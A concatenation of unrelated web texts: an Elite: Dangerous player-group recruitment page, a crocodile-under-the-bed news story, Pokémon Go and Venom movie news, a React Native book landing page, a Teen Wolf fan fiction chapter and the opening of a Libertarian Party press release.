I certainly wouldn’t claim to have all the answers when it comes to issues like this, and I think it’s a matter on which I would do better to listen than to speak. I do agree with Kevin that it’s not simply a matter of evidence, though, and I’d welcome a discussion on this particular issue if anyone else has anything to add.
AdvertisementsSenatus Populusque Romanus,
Established March 26, 2015
(The day the Federation was defeated in the Lugh War.)
"Mors tua, vita mea"
"Your death, my life"
~ Synopsis ~
SPQR is the notorious Imperial Patreus supporting group heavily influenced by the ways of the ruthless ancient Roman Empire. This is evident through their hostile actions against any CMDR spotted who is not pledged to any of the Imperial powers.
Despite their lack of regard in non-Imperial CMDR's well being, members of SPQR have always assisted, protected, and actively train each other to the full extent as if they were family. When a fellow member is shot down by anyone, a wing of SPQR CMDRs will commence on a search and destroy to avenge their fallen comrade.
~ WHAT TO EXPECT AFTER JOINING SPQR ~
After joining SPQR, every officer will make a point to meet the new member and offer their assistance if needed.
Also, every new member will endure my short orientation spill which summarizes our focus, mission, current news, history of SPQR, and members to add to in game friends list due to similar timezones and/or interests. I also explain where everything is on our site and notify of our SPQR Member's Only E:D Guide as well as an orientation packet is available for those who wants something to read.
Members can also expect to learn about and participate in all of the features E:D has to offer. This includes (but not limited to) effecting the Background Simulation, PVP, Community Goals, etc.
On top of all of the above, members can expect to never have a dull moment with SPQR and the only way to prove this is for me to offer to EVERYONE AND ANYONE thinking about joining us to go ahead and hop on teamspeak ( patreusfleet.enjinvoice.com) with us!
No obligation required!
RECRUITMENT STATUS:
ACTIVE
REQUIREMENTS:
WE PREFER NEW PLAYERS!
In your first sidewinder? PERFECT!
Experienced CMDRs are also welcomed!
CAREER PATH REQUIREMENT:
Trader, Bounty Hunter, Pirate, Conflict Zone Fighter, Miner, or Mission Runner
Traders are in HIGH DEMAND!
TEAMSPEAK:
Required
patreusfleet.enjinvoice.com
Level of Activity:
In Game - Sign on every 3-5 days
On Website - Any form of communication every 5-7 days
DOES NOT APPLY TO THOSE RESTRICTED BY JOB, FAMILY, OR OTHER RL OBLIGATIONS
Please notify Mongo Sensi if RL obligations are limiting activity level.
Details of obligation are not required. Simply saying "my job..." or "my family..." is enough.
~ SPQR Exclusives ~
Features / Benefits / Functions
Ranks! / Careers! / Training!
Leadership duties for Elder Council members!
Imperial Adviser: Active leader during Supreme Commander's absence.
Combat Training Officer: Head of combat training and current operations.
Commerce Specialist: Economic adviser and oversees SPQR traders as well as their training.
Designated and active military!
Soldier ranks including the combat training rank.
Military lead ranks: Leads their own exhibitions, promotes arena fights, and conduct operations orchestrated by the Council Elders.
Just want to pvp? Join our CQC team!
Dedicated traders creating a sustainable economy!
Entrepreneur ranks implemented in order for the military ranks to know who to provide security escort wings for.
Later, the entrepreneur ranks will be requested to perform specific trades for various reasons that will be disclosed at that time.
Ever wanted to establish your own economy? I have the "how", I need traders for the "way".
Apprenticeships available to new applicants and current members!
Combat training.
Trading training.
Background Simulation training.
Council Member training.
Combat, trading, and bg sim training fast track members to ranks qualifying them for benefits!
Policies... not the most exciting feature to some...
- Open Play
- Involvement Expectations
- Prohibited Actions
For more on the SPQR policies, click here!!!
Arena Style Fights! Champion Challenge Fights
Fight to become the combat expert of SPQR!
Military Entrance Challenge
An apprentice fight against a military lead or council member in a conditioned fight.
Proving Grounds (Bull 'n' Eagle Challenge)
A 2vs2 conditioned fight between an apprentice and their primary mentor against another apprentice and their primary mentor with a credit reward at stakes. Or even 2 apprentices against 2 mentors for the apprentices to have a chance to win a HUGE REWARD!!!
Benefits! Crisis Relief Program
Insurance claim reimbursements for trusted members who was tragically attacked.
Development Aid
Cargo drops rewarding members for their continuous involvement and interaction with the group.Breakfast in bed? Terrified man finds an 8ft crocodile hidden under his bed after it spent entire night just inches from where he slept
300lbs giant had sneaked into the Humani lodge, Zimbabwe
S pent the entire night lying quietly beneath oblivious Guy Whitall
Beast had managed to stay hidden for more than eight hours overnight
The crocodile has now been released back into the wild
It sounds like the stuff of nightmares - but Guy Whittall will certainly be checking for'monsters' underneath his bed, after waking up to find an eight foot crocodile hiding just inches from where he slept.
The 330lbs giant had sneaked into the Humani lodge, Zimbabwe and spent the entire night lying quietly, just fractions beneath an oblivious Mr Whittall.
The beast - a Nile crocodile - had managed to stay hidden for more than eight hours overnight.
It sounds like the stuff of nightmares - but Guy Whittall will certainly be checking for'monsters' underneath his bed, after waking up to find an eight foot crocodile hiding just inches from where he slept
Astonishingly the giant beast managed to stay hidden for more than eight hours
Mr Whittall (pictured) even perched on the edge of his bed organising his day - unaware of the fact that a 330lbs creature lay just fractions away from his dangling feet
The following morning Mr Whittall - a former Zimbabwean cricketer - had even perched on the edge of his bed, with his feet dangling over the edge, just inches from the crocodile's face, as he organised his day.
But the 40-year-old remained oblivious to his uninvited guest and was only alerted when he was enjoying some breakfast in the kitchen and heard the petrified screams of a housemaid.
Mr Whittall, who is a director at Humani, ran back to his room and was horrified to discover the enormous crocodile nestled under his bed.
He said: 'The really disconcerting thing about the whole episode is the fact that I was sitting on the edge of the bed that morning, bare foot and just centimetres away from the croc.
'Crocodiles are experts at hiding, that's why they have survived on Earth for so long and why they are the ultimate killers in water.
But the 40-year-old remained oblivious to his uninvited guest and was only alerted when he was enjoying some breakfast in the kitchen and heard the petrified screams of a housemaid
Staff from the centre managed to get a rope around its head, and then dragged it out by its tail as it fought furiously
Mr Whittall said he resisted being roped and hauled out from under the bed
'They know how to keep quiet and go unnoticed, it's in their nature.
'The crocodile came from the Turgwe River which is a couple of kilometres from the house.
'They often wander about the bush especially when it's cold and raining. I think he liked it under the bed because it was warm.'
He was forced to call in some of his co-workers who helped remove the crocodile from its new lair and release him back into Humani's Chigwidi dam.
Mr Whittall said: 'Of course he resisted being roped and hauled out from under the bed, that's only natural.
'Catching and securing a croc of any size on land though is a fairly straight forward affair and we are experienced in that.
When roped the large creatures thrash around frantically and are extremely powerful
Mr Whittall called in his co-workers who helped remove the crocodile from its new lair and release him back into Humani's Chigwidi dam
After dragging the croc outside, they were able to safely restrain it by tying up its mouth to avoid any bites
But soon the creature was released back into his natural habitat, where he happily swam away
'The only real danger is getting bitten because it can't drown you.
'The most important thing is to get its snout roped and secured and then it's just a matter of restraining it and covering its eyes, to calm it down.
'Bigger crocs require more manpower obviously though. When roped they thrash around frantically and are extremely powerful.
'I just remember thinking "goodness gracious, that's one for the books".
'I'm pretty sure everyone in Humani checks under their bed before going to sleep now anyway.'Pokémon Go has taken iOS and Android by storm this weekend, jumping to the top of the App Store and Google Play Store in just a matter of days. However, game developer Niantic is nowhere near done building on its new hit. CEO John Hanke recently told Business Insider that the game will eventually allow players to trade their Pokémon with their friends, just like in the halcyon Gameboy days.
"It's kind of a core element."
"It's kind of a core element," Hanke said. Though Hanke wouldn't go into great detail about the feature, he said that the feature would help foster interactions between players in the real world, which is what Go aims for. And after all, trading Pokémon across different versions of the game is one of the franchise's enduring features, letting players complete their collections on the way to catching 'em all.
Hanke also hinted at enhanced augmented reality features, the likes of which could land on devices like Microsoft's HoloLens. All told, Go is already shaping up to be the biggest Pokémon release in a long time.
How Pokémon took over the world in 20 yearsIt was revealed today that Sony's Venom is drawing inspiration from two horror movie icons. There's a lot of information and some confusion surrounding the upcoming Venom movie, which is currently in the casting stage of production. One thing is for certain, the movie will not be a part of the MCU, but it will take place within "the same reality." What that means is, well we don't know at this point in time. There have also been rumors of a 2nd symbiote, possibly Eddie Brock's ex-wife, Ann Weying joining the cast, but nothing has been officially confirmed.
Sony has started to set up expectations for Venom by stating that they're aiming for an R-rating while making a horror/sci-fi movie, which sounds fantastic for long-time fans of the Venom character. According to Variety, Columbia Pictures president Sanford Panitch has doubled down on the horror possibilities by saying that Venom will be inspired by the works of horror icons John Carpenter and David Cronenberg, which if that's the case, the movie will certainly have to be R-rated.
It's important to take news like this with a grain of salt when the projects are this early in the developmental stage though. A lot can change between now and when the finished product is delivered to the public. Venom director Ruben Fleischer also talked about the upcoming movie and weighed in on why he took on the project and the darkness of Venom. Fleischer says this.
"I've always been drawn to the more antihero superheroes... There's a dark element to Venom and a wit that has always appealed to me."
The director went on to talk about what fans can expect to see in the upcoming movie by saying that the movie will be an origin story with a Jekyll and Hyde relationship between Eddie Brock and the alien symbiote. He explains.
"They become almost a third being, which is what Venom is. There's a famous quote: "You're Eddie Brock. I'm the symbiote. Together we are Venom""
The mention of David Cronenberg's influence would serve to make an interesting choice that actually makes a lot of sense when one takes into account the way Eddie Brock and the symbiote interact with each other physically. Cronenberg's movies are often visceral and include elements of body horror, specifically people's fears of bodily transformation. The John Carpenter element is just as interesting since his movies are more in the traditional horror and science fiction vein. If this news tells you anything it's that Sony seems to be exactly on the right track with how a Venom should be set up.
Related: Venom 2 Confirmed by Writer, May Include Spider-Man
Venom starring Tom Hardy is set to hit theaters October 5th, 2018 and as previously stated, the movie is currently in the casting stage. We're still a long way out from some official news regarding story lines and characters, but there are strong rumors hinting towards Carnage and She-Venom making appearances in the movie. Let's hope that Sony sticks to their original intentions for this project because it starting to sound pretty awesome.https://www.reactnative.guide
React Made Native Easy
Written by Rahul Gaba and Atul R
A reference for building production-grade applications which are easy to test, maintain and extend to multiple platforms. This book is for the Web developers who have already got their hands dirty with React and ES6 and want to build complex native apps.
You will learn
How React Native works internally and how to debug RN apps.
How to test and write modular code in react-native.
Redux: the state container.
How to set up a good DevOps pipeline which will increase your team's productivity and ensure seamless testing.
How to extend your react-native codebase to support web or any other platform by just following some code conventions.
We are following a native-first approach while keeping an eye out for potentially extending to the web. You will eventually see how easy it is port the application to the web by following conventions.
Our knowledge is based on our experience of working with React Native apps for around 2 years and helping clients launch their apps quicker than ever before.
This book is for
React developers who are planning to start with react-native applications.
Web Developers who know basic ReactJS fundamentals and want to learn best practices for state management and native development.
Native iOS/Android developers who know ReactJS and want to start building apps using React-Native.
React-Native developers who want to extend their codebase to support other platforms by just following some code conventions.
We will build a Note Taker application while learning the concepts. There is a link to the code at the end of every chapter. You can also see the app live if you have the Expo app on your phone.
So be ready to get your hands dirty.
Authors
Github link: https://github.com/react-made-native-easy/book
Please star the repo if you like it ;)
DOWNLOAD YOUR COPY
Download a.pdf,.epub, or.mobi here. If you prefer a hard copy, please feel free to take a printout.
https://www.gitbook.com/book/react-made-native-easy/react-made-native-easy/details
CONTRIBUTIONS
This is an open source book hosted on Github. We will keep updating the contents of the book as and when it gets outdated. Please feel free to contribute or leave a comment in the Disqus.
HALL OF THANKS
Reviewer / Proof reading 🤓
Kakul Gupta
Contributors
GET, SET, CODE!!Chapter Text
A few months had passed since the end of the nogitsune incident. Things had been pretty calm in Beacon Hills lately. Peaceful and uneventful. The pack welcomed the break from the constant threat of the supernatural. That being said, Stiles had been having dreams again. They weren't nightmares, but they were vivid.
Stiles stood in a fog-filled forest. He spun around, confused. He had no idea where he was. He didn't recognize the trees, but he couldn't help but feel like they were familiar. That's when he heard the voice, a deep, ancient voice laced with power.
"Find me. Hurry. You must find me, Stiles," said the voice.
"Why? Why do I have to find you?" asked Stiles.
"You must hurry," the voice repeated. "They are coming. You must find me."
Stiles took off running through the forest. He didn't know where he was going and the further he went into the forest, the denser the fog became until he could no longer see the trees around him. It was a wall of white on each side of him and it felt suffocating. Stiles ran forward, finding it harder and harder to breathe in the dense fog. The voice intensified, repeating itself louder and louder in an endless loop.
"You must find me. You must hurry. They are coming."
The voice resounded around Stiles, becoming almost deafening. Stiles ran faster despite his lack of breath. His muscles shouted at him in pain telling him to stop, but he continued. He was running out of breath. Suddenly, he ran into a clearing. The fog was gone. Before him stood an all too familiar object. The nemeton.
"THEY ARE COMING. YOU MUST HURRY," the voice shouted louder than before.
It was the last thing Stiles heard before he blacked out.
Stiles sat straight up in bed, breathing heavily. He wasn't screaming or unable to differentiate between reality and his dream like in his previous nightmares, but he could feel his heart racing as if he had been running and his body felt oxygen deprived. He'd had the dreams about the fog-filled forest and the voice before, but he'd never managed to find the source of the voice. Until now.
Stiles shook his head, trying to clear it, and then placed his fingers to his forehead. The voice came from the nemeton. But why? He'd left that all behind when the nogitsune left him, right? What else could it possibly want? And why Stiles? Who was this they it was talking about? Stiles had so many questions. He decided that he'd talk to Scott about it tomorrow. For now, he rolled over and went back to sleep. This time it was a peaceful sleep.
Stiles met up with Scott the next day. Scott had a worried look on his face and Stiles knew why. The last time he had dreams like this it didn't end so well. He couldn't blame Scott for being worried about him. And even though he didn't want Scott to worry about him, he was glad Scott cared. Stiles wasted no time telling Scott about the dream he had last night in as much detail as he could.
"The nemeton?" asked Scott. "Are you sure?"
"Yeah, I'm pretty sure that was the nemeton. It's pretty distinct and has a habit of showing up in my dreams apparently," replied Stiles.
"But why? And what is it talking about when it says 'they're coming'?"
"I don't know. I wanted to talk to you about all this first though."
"Thanks," Scott said, his familiar smile creeping across his face, dispelling the look of concern. "But I think we should talk to Deaton. He probably knows something that can help us."
"Yeah you're probably right," said Stiles.
When they arrived at Deaton's clinic, they wasted no time in telling Deaton about the dream. Surprisingly, Deaton didn't seem at all surprised.
"You don't seem worried about this," said Stiles. "What do you know?"
"Well," said Deaton. "I had been expecting this for quite some time now."
"Expecting what?" asked Scott.
"Before I answer that, allow me to explain something. Scott, I've always helped you and your pack out when it was needed, but I was always rather uninvolved in the end, wouldn't you agree?"
"Yeah, that sounds about right. But what are you getting at?"
"Every pack needs an emissary, Scott. Just like it needs an alpha. But I could never be your emissary."
"Why not?"
"Simple. You're a true alpha. You're special, more powerful. But with greater power comes greater consequence and responsibility. A true alpha needs someone who can not only advise him and help him, like any emissary, but someone who can also balance him, compliment him, strengthen him, and pull him back if needed."
"That sounds like you're talking about Stiles."
"That's because I am. Much like a true alpha who only comes around every hundred years or so, a special kind of druid comes around every hundred years or so. He is born of a non-magical bloodline and will awaken when his alpha or circumstances finally demand him. He will be someone who has always been close to the true alpha; their fates having been intertwined long ago. This druid possesses exceptional power, ability, and potential. They can even harness the power of the world tree, the tree of life. Aptly, we call him a world druid."
"So you're saying that I'm actually some kind of special druid and I'm supposed to be Scott's emissary?" asked Stiles, looking a little overwhelmed.
"Basically, yes," replied Deaton.
"How am I supposed to do that? I don't know anything about being a druid or an emissary or any of that stuff. How am I supposed to help Scott like that?"
"But, Stiles, haven't you always been Scott's advisor? His confidant? And haven't you always given Scott good advice?"
Stiles looked over at Scott who was nodding as he said, "Yeah, he has."
Stiles actually looked a little surprised when he said, "You.. Think I give good advice?"
Scott beamed at him and said, "Yeah. You always have. And there's no one I trust more than you."
“Well, even if I give you good advice, I don't know anything about druids or magic or any of that.”
“When you finally awaken,” said Deaton. “Much of the knowledge of druidic magic will flow into you. It'll come from the tree of life which you are connected to.”
“So how do I 'awaken'?” asked Stiles, a hint of sarcastic awe in his voice.
“That can happen in many different ways, but, given the nature of your dreams, I'd say it has to do with the nemeton. Which brings us to the real problem. Why is it not only calling you, but saying that someone is coming for it?”
“You said the nemeton is a great source of druid power. It's also where all the streams in Beacon Hills meet,” said Stiles.
“And we restored some of its power when we became sacrifices,” added Scott.
“Right, so what does that suggest?” asked Deaton.
“That someone's coming for the nemeton's power,” replied Scott.
Deaton nodded and said, “Yes, that is most likely.”
“What would happen if someone was able to use the nemeton's power?” asked Stiles.
“I'm not sure,” replied Deaton. “The nemeton has been inactive, nearly dead, for quite some time now. I imagine, in that state, it wouldn't be very useful. But if it were at its full power like it used to be, in the wrong hands, it could be disastrous.”
“Disastrous? Can you be more specific?”
“Well, it would depend on the power of the nemeton, the user, and their intentions. Assuming the nemeton is at full power, things could be apocalyptic almost. Basically, death and destruction if the user wants it.”
“The nemeton sounds like a terrible thing. Wouldn't it be better off destroyed?”
“The nemeton is ultimately a tool. It has immense potential, but, in the end, the power it holds can bring forth either salvation or destruction at the whim of the user.”
“Basically, the nemeton is neither good nor evil then,” said Scott.
“Right. And destroying it would undoubtedly have some negative effects on Beacon Hills,” said Deaton. “Remember, the town is linked to the nemeton and the streams.”
“I guess that means we're not destroying it,” said Stiles. “So, what do we do then?”
“We'll protect it,” answered Scott. “Just like we always have. It's a part of Beacon Hills after all.”
“Good. But for now,” said Deaton. “I think it would be a good idea to check on the nemeton. If it's calling to Stiles, it's for a reason.”
Scott and Stiles nodded in agreement before quickly departing for the nemeton. Scott sent a text to everyone to tell them to meet at the nemeton. He wasn't sure what they'd find when they got there, so he figured it would be better to be prepared. It didn't take them long to reach the nemeton. Stiles had no problem finding it. He felt drawn to it. The rest of the pack appeared shortly after they arrived, including Allison who had now fully recovered from the stab wound that she received during the fight with the oni. The group gathered on the outskirts of the nemeton's clearing and Scott explained what Deaton had told them.
“So Stiles is supposed to be our emissary?” asked Isaac, sounding a little skeptical.
“You know, Isaac, I've had just about-” Stiles started.
“That's enough, you two,” interrupted Scott. “Yes, Isaac. He's my emissary. Or he will be. He has to awaken first though.”
“So you're saying he has performance issues,” said Isaac.
Stiles took a step forward and was about to say something, but Scott grabbed Stiles' arm and shook his head, stopping Stiles.
“You two really need to start working together,” said Scott. “But that's not why we're here. We're here because we need to check on the nemeton.”
“And how are we supposed to do that?” asked Lydia.
“I'm not sure,” replied Scott. “Deaton just said to check on it. He wasn't very specific.”
“Typical,” said Lydia.
“Well, it looks pretty dead to me,” said Kira.
“I don't think Deaton would have sent us out here for nothing,” said Allison. “Maybe we should just look closer?”
“Yeah, you might be right,” said Stiles. “I'll check it out. After all, it was calling me.”
With a nod from Scott, Stiles approached the nemeton while the others remained at the outskirts of the clearing, carefully stepping around the broken and collapsed ground from when Jennifer had used its powers. As he got closer, Stiles felt a power emanating from the seemingly dead and decrepit stump. He felt drawn more and more to it. He finally reached the broken remains of the nemeton itself, standing almost on top of it. Before he knew what he was doing, Stiles pressed his right hand against the smooth surface of the ancient tree’s clean cut remnants.
The effect was immediate. Two vines sprang forth from the nemeton, wrapping around Stiles' hand and wrist. The spot where his hand touched the nemeton began to glow with a bright green light. The ground began to shake and Stiles heard Scott's voice shouting to him, but he couldn't make out what he was saying. Another voice filled Stiles' head. One that he had heard before in his dreams. The voice of the nemeton.
“You have found me. Contact has been made. The time has come for you to awaken and take your place alongside the true alpha. I will impart the wisdom of the world tree unto you.”
Stiles' eyes began to glow with the same bright green light that surrounded his hand on the nemeton's trunk. Vast amounts of knowledge, history, and facts streamed into his head, flying around in his mind. Stiles could see things, spells, events, people, and so much more in his mind. There was so much, but he was able to keep up and digest it even if it was a bit overwhelming. While this was happening, the stump of the nemeton began to grow upwards at an astonishing rate, branching outward as it went. The vines and Stiles' hand moved so that they were now touching the outer bark of the nemeton as it continued to grow. Stiles felt the rough bark running under his hand during this time. He could feel the energy flowing through the nemeton, through himself. He was in sync with the nemeton. After a few minutes, the nemeton stopped growing and the vines released Stiles' hand, receding back into the nemeton. The light faded from Stiles' eyes, returning them to their normal brown color, as he collapsed to his knees.
Scott was standing next to Stiles at the base of the nemeton a moment later. He reached out and gripped Stiles' right shoulder. When he did, there was a spark of green energy and a voice echoed in both of their heads.
“You are connected. World druid and true alpha. This symbol will show your bond and your bond with me.”
The spark traveled down Stiles' upper arm a bit before it began to encircle it, forming two lines. Stiles felt a burning sensation and cried out. He and Scott looked at his arm in time to see two black lines form on Stiles' right arm where the energy had just been. A series of runes flashed inside the lines before vanishing. When it had finished, it looked exactly like Scott's tattoo, except it was on Stiles' right arm instead of his left arm, a mirror image.
“What the hell?” exclaimed Stiles when he saw the tattoo.
“It looks exactly like mine,” said Scott.
“Yeah, I know, dude, but why is it there? How did it get there?”
“I don't know. There was a spark and then a voice and then that tattoo appeared.”
“There were some runes in it, but they vanished. They represent the world tree, the world druid, the true alpha, and a bond.”
“How do you know that?”
“When I touched the nemeton, all this knowledge sort of just flowed into me. I don't know how, but I know a lot of things now.”
“Just like Deaton said.”
“Yeah. I guess this was my awakening then.”
“Indeed it was,” said a deep, runic voice.
Scott and Stiles both jumped at the sound of the voice. Neither of them saw a source of the voice. Finally, they realized that it was inside their heads.
“I have awakened the power that lay dormant inside you,” continued the voice. “You as well as others have restored power to me over time; however, it was not until I was able to link with you, the world druid, that I was able to fully recover. Through you and your link to the world tree, I was able to gather enough power to restore myself to my former glory. For that, I thank you. My power is yours to command. And to protect.”
“Protect? Protect from what?” asked Stiles.
“I told you. They are coming. Anytime something of great power exists, other will seek to take it. They will come for me and if they succeed, Beacon Hills will fall.”
An image filled Stiles' and Scott's heads. Beacon Hills was on fire. The entire town was burning. Buildings lay in ruins and tattered, torn, and dismembered bodies littered the broken streets. Beacon Hills wouldn't just fall. It would be annihilated. A moment later, the image vanished from their minds.
“That... Can't be what happens,” Scott stammered.
“No, it isn't,” answered the voice. “It is only one of several possible outcomes. You and your pack will determine which path unfolds and not only the fate of Beacon Hills, but that of the world.”
“The world?” asked Stiles. “How would we change the fate of the whole world?”
“If my power falls into the wrong hands, or the right hands, depending on how you look at it, it is possible that it will bring about not only the destruction of Beacon Hills, but that of the world as well. Alternatively, my power could be used to seize power and control over the world's populations. Any number of things could happen really. Most terrible.”
“Then why don't you just not help them?” asked Scott.
“Ah, but I am a neutral party,” replied the voice. “In the end, I don't particularly care which way the time line unfolds. But I will lend my knowledge and power to the world druid. He is, after all, connected to the very thing that I represent.”
“The world tree?” asked Stiles.
“Yes. The origin and source of all druidic magic and life energy. You saw what Jennifer could do with just a fraction of my power. Now imagine what someone could do if they were to unleash my power at its maximum potential.”
Scott and Stiles looked at each other and shared a brief horrified expression. Jennifer had wreaked havoc and killed many people with just that small bit of power. If someone like her ever used the full power of the nemeton, it would definitely end like the nemeton had said.
“I see you've begun to fathom the calamity that would befall this world if that were to happen,” said the voice. “As I said before, they are coming. It won't be much longer. Return to your pack now and explain the situation to them. You will need to prepare. War is coming. It is inevitable. I wish you good luck.”
With that, the voice fell silent. Stiles could still feel the nemeton, but it was more like he was aware of it. Stiles also felt the energy coursing through the air, racing along the streams. He'd never noticed it before, but now he was aware of it. All because of his new found druid powers. Stiles closed his eyes and breathed deeply for a moment, taking in everything around him, before nodding at Scott. The two of them rejoined the rest of the pack where they began to explain what happened and what the nemeton had revealed to them.For Immediate Release
Rep. Paul Ryan (R-WI) announced a budget deal
on Dec. 10 that keeps spending high.
Photo by Gage Skidmore (CC BY-SA 2.0)
President Barack Obama and the Democrats and Republicans in Congress, reeling from low voter-approval ratings, are anxious to cut a budget deal that takes the heat off of both parties yet keeps their special interest masters content.
“While people are busy preparing for the holidays, now’s a great time, they figure, to jam more government overspending and tax increases on the American people, just as they did earlier this year,” said Geoffrey J. Neale, chair of the Libertarian Party.
Last January — while Americans were watching New Year’s Day parades, cheering for football teams, and recovering from hangovers — Congress passed a bill to hike the Social Security payroll tax, costing the average American taxpayer $800 every year. In addition, they hiked taxes on estates, incomes, health care, and businesses.
Now leading Democrats and Republicans in the U.S. House, with nods from Senate leaders and the president, have cut a tentative deal to:
continue to add nearly $1 trillion yearly to the $17.2 trillion national debt;
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